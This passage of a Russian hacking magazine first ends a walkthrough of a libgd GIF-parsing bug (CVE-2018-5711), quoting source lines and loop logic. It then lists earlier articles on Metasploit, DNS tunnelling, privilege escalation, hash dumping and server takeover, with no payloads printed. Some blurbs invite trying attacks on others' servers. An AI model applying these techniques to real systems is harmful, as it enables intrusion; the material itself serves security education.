раз мер бло ка ука зыва ется в самом фай ле.

count unsigned  char

count  <=  0 gd_gif_in.c
count == 0

Зна чение перемен ной count берет ся из GIF

Са мое вре мя рас чехлять отладчик и ста вить брейк‐пой нты на инте ресу ющие
нас три фун кции.

b LWZReadByte_
b GetCode_
b GetDataBlock_

Нас  инте ресу ет  тот  самый  цикл    из  фун кции    (стро‐ 
ка  462  в  ).  Мы  смо жем  прев ратить  его  в  бес конеч ный,  если
будет выпол нять ся усло вие  .

while LWZReadByte_
gd_gif_in.c

sd‐>firstcode == sd‐>clear_code

/ext/gd/libgd/gd_gif_in.c
459:        do {
460:            sd‐>firstcode = sd‐>oldcode =
461:            GetCode(fd, &sd‐>scd, sd‐>code_size, FALSE, ZeroDa
taBlockP);
462:        } while (sd‐>firstcode == sd‐>clear_code);

Зна чение   выс читыва ется при пер вом выпол нении 
.

sd‐>clear_code LWZRead‐
Byte_

gd_gif_in.c
436:        sd‐>set_code_size = input_code_size;
437:        sd‐>code_size = sd‐>set_code_size+1;
438:        sd‐>clear_code = 1 << sd‐>set_code_size ;

Пе ремен ная   так же, как и  , берет ся из гиф ки, а даль‐ 
ше из нее получа ется   путем сдви гания   вле во на 

 раз рядов.

input_code_size count
sd‐>clear_code 0x1 input_‐

code_size

Пе ремен ная input_code_size и вычис ление sd‐>clear_code

В  нашем  слу чае  .  Даль ше  дело  за    —
это резуль тат выпол нения фун кции  . Сам блок дан ных в PoC сде лан
так, что бы фун кция тоже воз вра щала  .

sd‐>clear_code  =  8 sd‐>firstcode
GetCode
8

Спе циаль но сфор мирован ный блок дан ных в экс пло ите

gd_gif_in.c
409:        ret = 0;
410:        for (i = scd‐>curbit, j = 0; j < code_size; ++i, ++j) {
411:            ret |= ((scd‐>buf[i / 8] & (1 << (i % 8))) != 0) << j
;
412:        }
...
416:    return ret;

А еще обра ти вни мание на этот кусок кода:

gd_gif_in.c
388:    if ( (scd‐>curbit + code_size) >= scd‐>lastbit) {
...
401:        scd‐>last_byte = 2 + count;
402:        scd‐>curbit = (scd‐>curbit ‐ scd‐>lastbit) + 16;
403:        scd‐>lastbit = (2+count)*8 ;

Ког да сле дующий бит на чте ние боль ше, чем общий раз мер бло ка, перемен‐ 
ная    сбра сыва ется —  из  текуще го  зна чения  вычита ется 

, а   у нас зависит от count.
scd‐>curbit scd‐>

lastbit scd‐>lastbit

scd‐>lastbit = (2+count)*8 => scd‐>lastbit = (2+0xff)*8 => scd‐>
lastbit = 2056

Даль ше по коду выпол няет ся сле дующая про вер ка:

gd_gif_in.c
406:    if ((scd‐>curbit + code_size ‐ 1) >= (CSD_BUF_SIZE * 8)) {
407:        ret = ‐1;
...
415:    scd‐>curbit += code_size;
416:    return ret;

Ес ли усло вие выпол нится,  то перемен ная   ста нет рав на   и мы вый дем
из цик ла. Но это го не про изой дет из‐за того, что отра баты вает код, который
мы разоб рали чуть выше. Пра вая часть усло вия из стро ки 406 рав на 2240.

ret ‐1

CSD_BUF_SIZE * 8 = 280 * 8 = 2240

gd_gif_in.c
75: #define CSD_BUF_SIZE 280

А   у нас равен 4.code_size

gd_gif_in.c
436:        sd‐>set_code_size = input_code_size; // 3
437:        sd‐>code_size = sd‐>set_code_size+1; // 4

Даль ше  идет  прос тая  логика:  мак сималь ное  зна чение,  которое  может  при‐ 
нять  ,  исхо дя  из  усло вия  рав но  2052. Даль ше  выпол нится  тело
усло вия из стро ки 388. Толь ко вот   не сде лает   рав‐ 
ной   из‐за бага, и поэто му счет чик чте ния сбро сит ся, а сле дующая ите‐ 
рация  прос то  нач нет  читать  весь  блок  с  самого  начала,  и  так  до  бес конеч‐ 
ности.

scd‐>curbit
GetDataBlock scd‐>done

true

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ЗАКЛЮЧЕНИЕ
Та кие  уяз вимос ти  под твержда ют,  что  не  важ но,  сколь ко  лет  коду  и  сколь ко
раз  про води ли  его  аудит.  Может  появить ся  новый  спо соб  экс плу ата ции,
а  может  вдруг  ока зать ся  акту аль ным  ста рый.  С  точ ки  зре ния  прог раммис та
урок  дру гой:  надо  не  забывать  вни матель но  сле дить  за  резуль татами  опе‐ 
раций с перемен ными в язы ках со стро гой типиза цией.

Опи сан ной уяз вимос ти под верже на и биб лиоте ка libgd, о чем иссле дова‐ 
тель  сооб щил  в  сво ем  бло ге.  Так  что,  если  ты  раз рабаты ваешь  или  под‐ 
держи ваешь сер вис на PHP, который что‐то дела ет с кар тинка ми, немед ленно
ставь  обновле ния  или  опо вещай  адми нис тра торов  о  необ ходимос ти  это го.

https://twitter.com/iamsecurity
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5711
https://twitter.com/orange_8361
https://vimeo.com/253104211


АЛМАЗНЫЙ ФОНД

«ХАКЕРА»

ВАЖНЫЕ МАТЕРИАЛЫ
 ЗА ПОСЛЕДНИЕ

НЕСКОЛЬКО ЛЕТ
ПО ВЗЛОМУ

Часть 2

Иван Пискунов

ВЗЛОМ

Ес ли бы мы захоте ли сде лать кни гу на осно ве самых кру тых
хакер ских ста тей, опуб ликован ных в нашем жур нале, ее тол‐ 
щина была бы такой, что если положить все изданные тома
друг  на  дру га,  то  получив шаяся  баш ня  была  бы  высотой
с небос креб Бурдж‐Халифа. Лад но‐лад но, «это не точ но» :).
Ведь зачем изда вать исто ричес кие, потеряв шие свою акту‐ 
аль ность статьи? Вмес то это го мы соберем в один матери ал
самые  кру тые  тек сты  по  информа цион ной  безопас ности,
которые  были  опуб ликова ны  за  пос ледние  нес коль ко  лет
и которые ты мог и про пус тить.

В прош лом выпус ке мы сде лали под борку по 
,  которая  в  пер вую  оче редь  была  инте рес на  прог раммис там,  ревер‐ 

серам  и  соф твер ным  инже нерам.  Сегод ня  же  пред став ляем  тво ему  вни‐ 
манию статьи, пос вящен ные пре иму щес твен но хакер ско му ремес лу — все му,
что  свя зано  со  взло мами  ОС,  СУБД,  тес тирова нием  ИТ‐шной  инфраструк‐ 
туры на про ник новение, уяз вимос тями ОС и прик ладно го ПО. Так же тебя ждут
под забытые или мало извес тные фичи и трю ки, которые при годят ся на прак‐ 
тике,  если  ты  истинно  пре дан  нашему  делу!  Обра ти  вни мание:  толь ко
перечис ление  этих  ста тей  заняло  бы  шесть  пол ноцен ных  полос  ста рого
бумаж ного «Хакера». :)

ре вер сингу и ана лизу malware‐
кода

КРИМИНАЛИСТИЧЕСКИЙ АНАЛИЗ ПАМЯТИ. ИССЛЕДУЕМ
ПРОЦЕССЫ В WINDOWS 7

Ска чать PDF

Пос ле  взло ма  или  утеч ки  дан ных,  ког да  инци дент  уже  слу чил ся  и  замол‐ 
чать его не получа ется :), в дело вклю чают ся кри мина лис ты по компь ютер ной
безопас ности,  или,  как  их  час то  называ ют,  форен зик‐экспер ты.  В  поис ках
«нулево го  паци ента»,  через  которо го  и  про изо шел  взлом,  им  при ходит ся
занимать ся  сбо ром  и  ана лизом  доказа тель ств.  В  этой  статье  ты  поз‐ 
накомишь ся  с  некото рыми  ,
иссле дова нием  про цес сов  в  Windows,  спо соба ми  выяв ления  рут китов,
исполь зующих  недоку мен тирован ные  воз можнос ти  ядра  NT,  и  узна ешь
кое‐какие мало извес тные кодер ские трю ки.

тех никами  ана лиза  опе ратив ной  памяти

Ма тери ал  при годит ся  всем  занима ющим ся  или  прос то  инте ресу ющим ся
форен зикой.

РУЧНАЯ РЕАНИМАЦИЯ ДАМПА ПАМЯТИ. РУКОВОДСТВО ПО
РУЧНОМУ ВОССТАНОВЛЕНИЮ ПАМЯТИ

Ска чать PDF

Час тая  ситу ация:  код  надеж но  запако ван  и  для  ана лиза  прог раммы
или мал вари при ходит ся делать дамп памяти, что бы потом уже ковырять его
вруч ную дру гими инс тру мен тами. Но есть  трабл — сня тый дамп может  ока‐ 
зать ся битым, то есть неп ригод ным для ана лиза. И как же быть в таком слу‐ 
чае? Как раз в этой статье, мой друг, тебе и рас ска жут, как 

 и как его вос ста новить, если он пов режден. Если ты
ревер сер  или форен зик‐эксперт,  поверь,  это  ког да‐нибудь  тебе  точ но  при‐ 
годит ся!

гра мот но сдам- 

пить образ из памяти

ЛАБОРАТОРНЫЙ ПРАКТИКУМ ПО METASPLOIT FRAMEWORK.
СКРЫТЫЕ ФИШКИ MSF
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Кто не зна ет MSF? Этот «швей цар ский нож» вхо дит в пятер ку самых юза‐ 
емых тулз пен тесте ра, да и прос то любого мало‐маль ски прод винуто го спе ца
по  безопас ности.  Инс тру мент  пос тоян но  раз вива ется  и  обновля ется,  появ‐ 
ляет ся  мно го  новых  фич  и  мало извес тных  опций,  которые  лег ко  упус тить,
а  ведь  они  реаль но  рас ширя ют  воз можнос ти  или  дела ют  работу  гораз до
удоб нее и ком фор тнее. Немало важ ную часть занима ет и авто мати зация час‐ 
то  пов торя ющих ся  опе раций.  В  пред став ленном  матери але  речь  пой дет
о некото рых фиш ках MSF, более‐менее прод винутых встро енных воз можнос‐ 
тях инс тру мен та, а так же о воз можнос тях авто мати зации рутин ных опе раций,
которая сэконо мит тебе кучу вре мени. Ты прос то обя зан это знать!

METERPRETER В ДЕЛЕ. ХИТРЫЕ ПРИЕМЫ ЧЕРЕЗ MSF
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Те, кто хоть как‐то пог ружал ся в тему работы с Metasploit Framework, зна‐ 
ют,  как  мно го  воз можнос тей  на  уяз вимой  машине  дает  пра виль но  проб‐ 
рошен ная  «полез ная  наг рузка».  Речь  идет  о Meterpreter,  уни вер саль ном  ad‐
vanced payload’е, — как о том, что туда вло жено,  так и о том, что мы можем
допилить  руч ками.  Ты  узна ешь,  как  пра виль но  и  эффектив но  юзать  payload
с поль зой для себя, какие фичи есть у Meterpreter, ну и конеч но же, смо жешь
обка тать все это на прак тике. В связ ке с пре дыду щей стать ей про Metasploit
Framework  получа ется  нас тоящий  must  read  для  начина юще го  или  уже  чуть
более прод винуто го пен тесте ра.

DNS. ОБРАТНАЯ СВЯЗЬ. ОБХОДИМ ПРЕГРАДЫ И
ОРГАНИЗОВЫВАЕМ ДОСТУП В СЕТЬ
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Итак,  ты  попал  на  уяз вимую машину  в  кор поратив ной  сети  круп ной  ком‐ 
пании. Одна ко фай рвол режет все неиз вес тные соеди нения, а спи сок пор тов,
на  которые  мож но  под клю чить ся,  фик сирован.  Соот ветс твен но,  Reverse  tcp
shell и тем более bind tcp shell работать уже не будут. И неуже ли наша машин‐ 
ка  так  и  оста нет ся  недося гаема?  Вот  тут  на  помощь  тебе  при дет  трюк
с  инкапсу ляци ей  кон некта  в  легитим ный  DNS‐тра фик  уяз вимой  машины.
Дума ешь,  слож но?  В  матери але  тебе  как  раз  и  рас ска жут  о  DNS  и  о  том,
как  мож но  поиг рать  с  GET/POST‐зап росами,  что бы  незамет но  про сочить ся
за кор поратив ный периметр.

DNS: ОБРАТНАЯ СВЯЗЬ. ПРОДВИНУТЫЙ PAYLOAD ДЛЯ
ОРГАНИЗАЦИИ ТУННЕЛЯ
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Что, если уяз вимая машина вооб ще не име ет дос тупа в интернет или пра‐ 
вила филь тра ции тра фика нас толь ко жес ткие, что про кинуть тун нель, как опи‐ 
сано  в  пре дыду щем  матери але,  не  получит ся?  Во  вто рой  час ти  статьи
про DNS‐тун нелиро вание рас ска зыва ется, как решать эту проб лему, исполь‐ 
зуя  более  хит рые  и  изощ ренные  тех ники.  Ты  узна ешь,  как  модифи циро вать
шелл  таким  обра зом,  что бы  он  получал  управля ющие  коман ды,  завер нутые
внутрь слу жеб ного тра фика, как под нять бот, выпол няющий всю эту рутину, ну
и, собс твен но, как с помощью все го это го получить дос туп к нуж ной нам тач‐ 
ке.

АТАКИ НА DNS: ВЧЕРА, СЕГОДНЯ, ЗАВТРА. GHOST DOMAIN NAMES
И ДРУГИЕ 0DAY-СПОСОБЫ ВЗЛОМА СИСТЕМЫ ДОМЕННЫХ ИМЕН
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Слы шал  про  ата ки  на  DNS?  Неког да  нашумев шая  ата ка  Ghost  Domain
Names име ет шанс на реали зацию и сей час. Про нее и дру гие спо собы атак
на домен ную сис тему рас ска зыва ется в этой статье.

НЕ ВЕРЬ СВОИМ ГЛАЗАМ. АКТУАЛЬНЫЕ МЕТОДЫ СПУФИНГА В
НАШИ ДНИ
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Рас цвет  спу финг‐атак  при шел ся  на  вре мена  по  нынеш ним мер кам исто‐ 
ричес кие. Одна ко  и  по  сей  день  оста ются методы  и  инс тру мен ты,  поз воля‐ 
ющие  успешно  под менить  объ екты  в  сетевом  сег менте. Это  доволь но  рис‐ 
кован ная  часть  атак,  нап ример  на  сис темы  дис танци онно го  бан ков ско го
обслу жива ния, так же она час то исполь зует ся в шаб лонных пен тестах. Из дан‐ 
ной статьи  ты пой мешь, нас коль ко лег ко про вер нуть спу финг‐ата ку и  к  чему
это может в даль нейшем при вес ти.

НЕДОСТАТОЧНО ПРАВ? ДОСТАТОЧНО: 8 ПРИЕМОВ ДЛЯ ОБХОДА
ГРУППОВЫХ ПОЛИТИК В ДОМЕНЕ
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Чувс тву ешь  себя  гос тем  на  рабочем  ноут буке?  Меч таешь  нас тро ить
рабочий  стол,  бра узер,  сеть  и  сис тему  обновле ний  под  себя?  Тво ему  вни‐ 
манию  пред став лен  набор  из  вось ми  трю ков,  поз воля ющих  так  или  ина че
обой ти при мене ние груп повых политик домена. Конеч но, часть при емов уже
может  не  работать  на  «десят ке»,  но  ста рые  вер сии  вин ды  (ХР  —  7)  все
еще  живы  на  кор поратив ных  машинах,  да  и  мно гие  ста рые  баги  все
еще  работа ют.  В  статье  дает ся  набор  готовых  к  при мене нию  рецеп тов,  ты
можешь про вер нуть  их  на  сво ем  компь юте ре  и  доказать  адми нам,  что GPO
не так уж и хороша, как ее хва лят.

ИДЕМ НА ПОВЫШЕНИЕ. РЕЦЕПТЫ ПОДНЯТИЯ ПРИВИЛЕГИЙ ПОД
WINDOWS

 или Чи тать ска чать PDF

Про дол жаем  тему  тре пана ции  Windows.  Ког да  ты  выпол няешь  пен тест
или про ника ешь в дру гих целях, к при меру, на домен Active Directory, машину,
на которой хос тится сайт, или рабочее мес то бух галте ра с 1С, перед тобой
поч ти  обя затель но  вста нет  задача  под нятия  сво их  при виле гий.  Ибо  от  ее
решения  будет  зависеть,  смо жешь  ли  ты  прод винуть ся  даль ше  или  нет.
В  этой  статье  опи сано  все  (ну  или  поч ти  все),  что  каса ется  прод вижения
вверх  в  Windows‐сис темах,  —  один надцать  тех ник,  которые  помогут  тебе
прой ти путь от гос тя до локаль ного или домен ного адми на.

Продолжение статьи →
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АЛМАЗНЫЙ ФОНД «ХАКЕРА»

ВАЖНЫЕ МАТЕРИАЛЫ ПО ВЗЛОМУ
ЗА ПОСЛЕДНИЕ НЕСКОЛЬКО ЛЕТ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

АТАКИ НА ДОМЕН. ЗАВЛАДЕВАЕМ КОРПОРАТИВНОЙ СЕТЬЮ
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Аб солют ное  боль шинс тво  ком паний  для  поль зователь ско го  кор поратив‐ 
ного сек тора юза ют в качес тве базы Windows Server и служ бу катало гов Active
Directory,  даже  если  осталь ные  стой ки  у  них  под  завяз ку  забиты  тач ками
с  *NIX’ами.  Поэто му  кон троль  над  доменом  —  это  лакомый  кусочек
для любого хакера или пен тесте ра. Соот ветс твен но, тебе никак не обой тись
без при виле гий адми нис тра тора. А вот  как их получить — об этом и пой дет
раз говор в дан ной статье. Уяз вимос ти в сетевых служ бах и ОС, дыры в архи‐ 
тек туре сети и проб лемы аутен тифика ции, SMB Relay и неувя дающий со вре‐ 
менем ARP spoofing... Must read для всех инте ресу ющих ся пен теста ми.

ВЕРНИТЕ ПРАВА! КАК ОБОЙТИ ОГРАНИЧЕНИЯ НА РАБОЧЕМ
КОМПЬЮТЕРЕ
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Еще  один  матери ал  на  тему  получе ния  прав  адми на  на  локаль ной
или сетевой машине. При веде но очень мно го рецеп тов и тех ник, так что, если
какие‐то  уже  и  не  работа ют,  все  рав но  есть  шанс  на  успех.  В  ход  идут
и  «инсай дер ские» флеш ки,  и  заг рузка  со  скры того  раз дела,  исполь зование
аль тер натив ных потоков NTFS в обход фай ловых раз решений. Доволь но мно‐ 
го  вни мания  уде лено  акти вации  зап рещен ных  USB‐пор тов.  Вдо бавок  узна‐ 
ешь про фиш ки с ярлы ками, дефор сирова ние груп повых политик и обход зап‐ 
ретов  на  запуск  соф та,  не  про писан ного  в  white‐лис тах.  Как  тебе  такой
набор? Ты точ но най дешь что‐то для себя, а пен тесте ру и вов се обя затель но
к изу чению.

ИЗУЧАЕМ И ВСКРЫВАЕМ BITLOCKER. КАК УСТРОЕНА ЗАЩИТА
ДИСКОВ WINDOWS И ЧТО НУЖНО ДЛЯ ЕЕ ВЗЛОМА
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Шиф рование  локаль ных  дис ков  и  съем ных  носите лей  —  одна  из  основ
обес печения  безопас ности  Windows,  заяв ленная  ее  раз работ чиками.  Если
отой ти от мар кетин говых обе щаний и пиара, нас коль ко тех нология надеж на?
Ведь она очень час то при меня ется в кор поратив ном сек торе по умол чанию. 
В  этой  статье  мы  под робно  раз берем  устрой ство  раз ных  вер сий  BitLocker
(вклю чая пре дус танов ленные в пос ледние сбор ки Windows 10) и, конеч но же,
покажем, как обой ти этот встро енный механизм защиты. А юзать пос ле это го
BitLocker или нет — решай сам.

7 РЕЦЕПТОВ ПРИГОТОВЛЕНИЯ WINDOWS-ПАРОЛЕЙ. КАК
СДАМПИТЬ И ИСПОЛЬЗОВАТЬ ХЕШИ ПАРОЛЕЙ ОТ УЧЕТОК WIN-
DOWS-СИСТЕМЫ
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Ког да‐то  в  ста рые  вре мена  дамп  и  даль нейший  брут  паролей  от  админ‐ 
ских уче ток был вер ным и очень популяр ным спо собом получить адми нис тра‐ 
тив ные  при виле гии.  Сей час,  с  раз вити ем  дру гих  механиз мов  защиты,  тема
нес коль ко подус тарела, но все еще оста ется живой!

В статье при веден пол ный сбор ник рецеп тов, опи сыва ющих, как сдам пить
хеши  поль зователь ских  паролей,  вос ста новить  исходный  пасс  путем  брут‐ 
форса  (перебо ра)  и  получить  с  помощью  извле чен ного  хеша  дос туп
к защищен ным ресур сам, исполь зуя недора бот ки про токо ла аутен тифика ции
NTLM.  И  цен ность  матери ала  в  том,  что  в  нем  минимум  теории  —  толь ко
прак тика. Реаль ный кейс для пен тесте ра!

НЕ СЫПЬ МНЕ СОЛЬ НА PASSWORD. РЕАНИМИРУЕМ УМЕРШИЙ
MD5
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Мы уже под робно рас ска зали в пре дыду щем матери але о взло ме паролей
от уче ток на Windows‐машинах. В про дол жение темы погово рим о так называ‐ 
емых соленых хешах, взлом которых тре бует чуть дру гого под хода. Речь пре‐ 
иму щес твен но пой дет об алго рит ме MD5, его недос татках — появ лении кол‐ 
лизий (пов торов) и о том, как это мож но исполь зовать в целях успешно го бру‐ 
та. Если ты кодер и готов писать скрип ты по экс плу ата ции огре хов в MD5, этот
матери ал точ но для тебя!

АНОНИМНЫЙ ШТУРМ WINDOWS. ХИТРЫЕ ПРИЕМЫ БЫВАЛОГО
ХАКЕРА
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Статья  воз вра щает  нас  в  эпо ху  опе раци онных  сис тем  от  XP  до  Vista,
показы вая,  как  при  помощи  уже  дав но  извес тных,  но  по‐преж нему  рабочих
фич мож но получить спи сок поль зовате лей через нулевую сес сию, зах ватить
тер миналь ное  под клю чение  RDP  и  что  мож но  отконфи гури ровать  в  сис‐ 
темном  реес тре,  что бы  убе речь ся  от  нежела тель ных  глаз  и  шалов ливых
ручек.

УГНАТЬ ЗА 60 СЕКУНД. МЕТОД ДОБЫЧИ УДАЛЕННОГО ДЕДИКА
ПОД УПРАВЛЕНИЕМ WINDOWS

Ска чать PDF

Меч тал ког да‐нибудь зах ватить чужой сер вер и почувс тво вать себя богом?
:)  В  матери але  содер жатся  реаль ные  советы,  как  угнать  уда лен ный  сер вак
с помощью все того же MSF и нес коль ких видов shell в фор мате Meterpreter.
Конеч но,  на  дан ную  уяз вимость  уже  дав но  выпущен  патч,  но,  как  извес тно,
до  сих  пор  в  Сети  мож но  най ти  тач ки,  на  которых  кру тит ся  уста рев шая
или необ новлен ная ОС. Воору жив шись све дени ями пос ле проч тения статьи,
ты можешь попытать свои силы и уда чу. А вдруг?

СЦЕНАРИЙ ДЛЯ ВЗЛОМА. РАЗБИРАЕМ ТИПОВЫЕ СЦЕНАРИИ АТАК
НА КОРПОРАТИВНЫЕ СЕТИ

 или Чи тать ска чать PDF

Эта статья осно вана на мно голет нем опы те пен тесте ров из Positive Tech‐
nologies,  которые  еже год но  выпол няют  сот ни  тес тирова ний  на  про ник‐ 
новение  для  круп ней ших  ком паний  как  в  Рос сии,  так  и  за  рубежом.  За  это
вре мя  у  экспер тов  накопи лось  боль шое  количес тво  типовых  ситу аций
и общих кей сов, рас ска зыва ющих о наибо лее типич ных сце нари ях успешных
атак,  которые поз воляли получить  кон троль над сетью заказ чика в 80% слу‐ 
чаев.  В  матери але  рас смат рива ются  рас простра нен ные  ошиб ки  и  общие
вари анты  взло ма  ком паний.  Читая  статью,  ты  смо жешь  про ана лизи ровать,
нас коль ко твоя сеть защище на, а если ты и сам пен тестер, то получишь в руки
набор сце нари ев, готовых к упот ребле нию.

МЕРЯЕМ УЯЗВИМОСТИ. КЛАССИФИКАТОРЫ И МЕТРИКИ
КОМПЬЮТЕРНЫХ БРЕШЕЙ

Ска чать PDF

Пос леднее вре мя все чаще и чаще слы шишь фра зы: «Там уяз вимость, тут
уяз вимость, в этом соф те наш ли брешь, в том сер висе дыр ка». И на каж дую
такую  уяз вимость  выходит  бюл летень,  опи сыва ющий  саму  проб лему,
рекомен дации  раз работ чиков  и  дру гие  меры,  которые  мож но  при нять
для  собс твен ной  защиты.  Вся  эта  информа ция  пуб лику ется  на  баг‐тре ках,
спе циаль ных  сай тах,  собира ющих  информа цию  об  уяз вимос тях.  Любой
может озна комить ся с этой информа цией, а более пред при имчи вые на чер‐ 
ном рын ке всег да могут купить экс пло ит под дан ную уяз вимость или готовый
инс тру мент для ата ки. Ког да ты читал подоб ные обзо ры, навер няка замечал,
что каж дый баг опре делен ным обра зом клас сифици рует ся. Что собой пред‐ 
став ляет  «изме рение  уяз вимос ти»,  по  каким  кри тери ям  оно  про изво дит ся
и зачем это вооб ще нуж но знать? Отве ты ты най дешь в этой статье.

РАЗВРАТНО-ОРИЕНТИРОВАННОЕ ПРОГРАММИРОВАНИЕ. ТРЮКИ
ROP, ПРИВОДЯЩИЕ К ПОБЕДЕ
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Ко пая  тему  уяз вимос тей  и  экс пло итов,  неред ко  мож но  услы шать
про  «перепол нение  буфера»,  вследс твие  которо го  далее  мож но  добить ся
выпол нения про изволь ного кода на сис теме жер твы. Так вот, этот баг мож но
соз дать целенап равлен но, к при меру при помощи метода обратно ори енти‐ 
рован ного прог рамми рова ния, или ROP. Дан ная тех ника, исполь зующая фун‐ 
кции осво бож денной памяти, ошиб ки фор матной стро ки и так далее, поможет
спра вить ся с механиз мами защиты DEP и даже ASLR. Экс пло ит, рас простра‐ 
няющий malware и экс плу ати рующий уяз вимость в Acrobat Reader (CVE‐2010‐
0188), как раз яркий тому при мер. Кро ме того, этот же метод неког да исполь‐ 
зовал ся  на  pwn2own  для  взло ма  iPhone  и  в  экс пло ите  про тив  PHP  6.0  DEV.
Как это сде лать — читай в этой статье.

ЭКСПЛОИТ «НА КОЛЕНКЕ». ПИШЕМ ЭКСПЛОИТ ПОДРУЧНЫМИ
СРЕДСТВАМИ
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Лю бому  прод винуто му  пен тесте ру  рано  или  поз дно  при ходит ся  стал‐ 
кивать ся  с  задачей  соз дать  экс пло ит  под  кон крет ный  сер вис  или  сис тему.
Хотя теоре тичес ких матери алов мно го, до сих пор ощу щает ся дефицит прак‐ 
тичес ких и понят ных при меров. В этой статье задачей было написать работа‐ 
ющий  экс пло ит  для  кон крет ной  прог раммы.  Мы  раз берем  все  тон кости
и  попыта емся  понять,  как  имен но  находят  уяз вимос ти  и  успешно ими поль‐ 
зуют ся. Если ты ревер сер или пен тестер — к проч тению обя затель но!

КОВЫРЯЕМ БРОНЮ WINDOWS. ВЫЯСНЯЕМ, ЧТО ТАКОЕ ACL/DACL
И КАК ЭТО МОЖНО ЗАЭКСПЛОИТИТЬ
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В осно ве безопас ности фай ловой сис темы NTFS заложе ны спис ки кон тро‐ 
ля дос тупа, они же ACL, и осно ван ного на нем сис темно го спис ка управле ния
фай ловыми раз решени ями. Нес мотря на то что NTFS показы вает себя весь‐ 
ма  стой кой  ФС,  как  говорил  Маль чиш‐Кибаль чиш,  «есть  у  рус ских  тай ные
ходы, и вам их не засыпать». Ведь если обой ти огра ниче ния ACL, хакер может
получить при виле гиро ван ный дос туп абсо лют но к любым фай лам, в том чис ле
и сис темным, что уже таит в себе серь езные рис ки. В матери але рас кры вает‐ 
ся  теория  ACL/DACL,  рас ска зыва ется,  с  чем  здесь  мож но  поковы рять ся,  и,
конеч но же, рас смот рены при меры, как най ден ные недос татки мож но поэкс‐ 
плу ати ровать в свою поль зу.

Продолжение статьи →
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ВАЖНЫЕ МАТЕРИАЛЫ ПО ВЗЛОМУ
ЗА ПОСЛЕДНИЕ НЕСКОЛЬКО ЛЕТ
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УКРОЩЕНИЕ ДИКОЙ КИСКИ, ИЛИ СЛИВАЕМ ПАРОЛИ
ЧЕМОДАНАМИ. ВЗЛОМ МАРШРУТИЗАТОРОВ ЧЕРЕЗ ИЗЪЯНЫ
SNMP
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Не сек рет, что Cisco — самый популяр ный вен дор сетево го обо рудо вания.
И поэто му не сто ит доказы вать,  что в подав ляющем боль шинс тве  ком паний
в  качес тве  осно вы  сети  или  как  минимум  ядра  будут  исполь зовать ся  ком‐ 
мутато ры и мар шру тиза торы это го про изво дите ля. Логич но, что и любая кри‐ 
тичес кая  ошиб ка  в  их  про шив ке  может  пос тавить  под  угро зу  нор маль ную
работу  и  связ ность  не  толь ко  кор поратив ной  сети,  но  и  осо бо  важ ных  сег‐ 
ментов  интерне та.  В  статье  рас ска зано  о  нес коль ких  уяз вимос тях  Cisco,
о  которых  ты  прос то  обя зан  знать, —  от  взло ма  мар шру тиза тора  по  SNMP
до сли ва паролей через GRE‐тун нель.

ТРЮКИ С BLUETOOTH. МАЛЕНЬКИЕ ХИТРОСТИ ИСПОЛЬЗОВАНИЯ
«СИНЕГО ЗУБА»
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В ста рые вре мена, ког да у каж дого на телефо не не было прак тичес ки без‐ 
лимит ного  интерне та,  народ  активно  обме нивал ся  фай лами  по  блю тусу.
Голубой  зуб  ,  прос то  теперь  у  него  нес коль ко  иное
пред назна чение —  ком муника ция меж ду  раз личны ми  носимы ми  при бора ми
и в мире интерне та вещей.

не  побеж ден  и  сей час

Что  все  это  озна чает  для  хакера?  Имея  при  себе  нуж ный  инс тру мент
на  смар тфо не  или  план шете,  мож но  тво рить  нас тоящие  чудеса  —  перех‐ 
ватыва ем уда лен ку и управля ем чужим девай сом, сни фаем тра фик, находим
невиди мые устрой ства и даже DDoS’им обна ружен ные рядом устрой ства.

МАСТЕР-КЛАСС ПО РЕАНИМАЦИИ НИКСОВ. МЕТОДЫ БОРЬБЫ СО
СБОЯМИ LINUX И FREEBSD

Ска чать PDF

UNIX  дав но  себя  зареко мен довали  как  сис темы  надеж ные  и  пред ска‐ 
зуемые.  Но  быва ет,  что  пос ле  сис темной  ошиб ки  или  дру гого  сбоя  даль‐ 
нейшая судь ба опе раци онки пол ностью зависит от ква лифи кации ее вла дель‐ 
ца.  Дизайн  UNIX  нас толь ко  прост  и  пря моли неен,  что  ОС  мож но  под нять
с колен, в каком бы сос тоянии она ни находи лась. В матери але рас смот рены
самые  типовые  и  час то  встре чающиеся  ситу ации  кру шения  *NIX‐сис тем:
затер тая запись MBR и забытый пароль  root, под висания и самоп роиз воль‐ 
ная  перезаг рузка  ОС,  паника  ядра,  выход  из  строя  жес тко го  дис ка,  неп‐ 
равиль ная нас трой ка xorg.conf, отсутс тву ющий виде одрай вер, неп равиль ная
нас трой ка  сетевых  интерфей сов,  нерабо тающий  DNS‐резол винг  —  и  при‐ 
веде ны рецеп ты их устра нения и вос ста нов ления работос пособ ности.

КАК СТАТЬ SSH’АСТЛИВЫМ. FULL-GUIDE ПО ИСПОЛЬЗОВАНИЮ
SECURE SHELL
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SSH — де‐фак то самый популяр ный и час то исполь зуемый про токол уда‐ 
лен ного дос тупа к Linux. Нуж но ли говорить о сте пени надеж ности и безопас‐ 
ности  про токо ла,  по  которо му  к  сер веру  под клю чает ся  адми нис тра тор?
Но помимо нас тро ек безопас ности, SSH име ет еще кучу опций, которые сде‐ 
лают работу  в  тер минале более  ком фор тной,  при ятной и быс трой. В статье
соб ран  самый  пол ный  ману ал  по  пра виль ному  исполь зованию  Secure  Shell
на все сто.

ПОРОЧНОЕ НАСЛЕДИЕ WINDOWS. КОНЦЕПТУАЛЬНЫЕ МЕТОДЫ
ВЗЛОМА LINUX ЧЕРЕЗ ФЛЕШКУ И ЗАЩИТА ОТ НИХ
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Ка кой  юзер  Windows  не  пом нит  траб лы  с  флеш ками  и  надо едли вым
вирусом  из  Autorun?  Поль зовате ли  Linux  всег да  смот рели  на  эту  проб лему
свы сока,  мол,  их  это  не  каса ется.  Отчасти  это  так,  но  не  все  столь  глад ко,
как хотелось бы. У пин гви на были свои проб лемы — это .autorun, ана логич ный
по фун кци ональ нос ти, брешь Adobe Acrobat Reader со шриф тами, в резуль‐ 
тате  которой  в  Nautilus’е  мож но  запус тить  что  угод но,  косяч ные  драй веры,
некор рек тно  обра баты вающие  съем ные  носите ли,  и  фичи,  поз воля ющие
обой ти  такие механиз мы безопас ности,  как AppArmor,  ASLR, PIE  и NX‐биты.
Уже инте рес но? Тог да читай матери ал, и ты узна ешь, как это было.

*NIX-БЭКДОР БЫСТРОГО ПРИГОТОВЛЕНИЯ. ВНЕДРЯЕМСЯ В
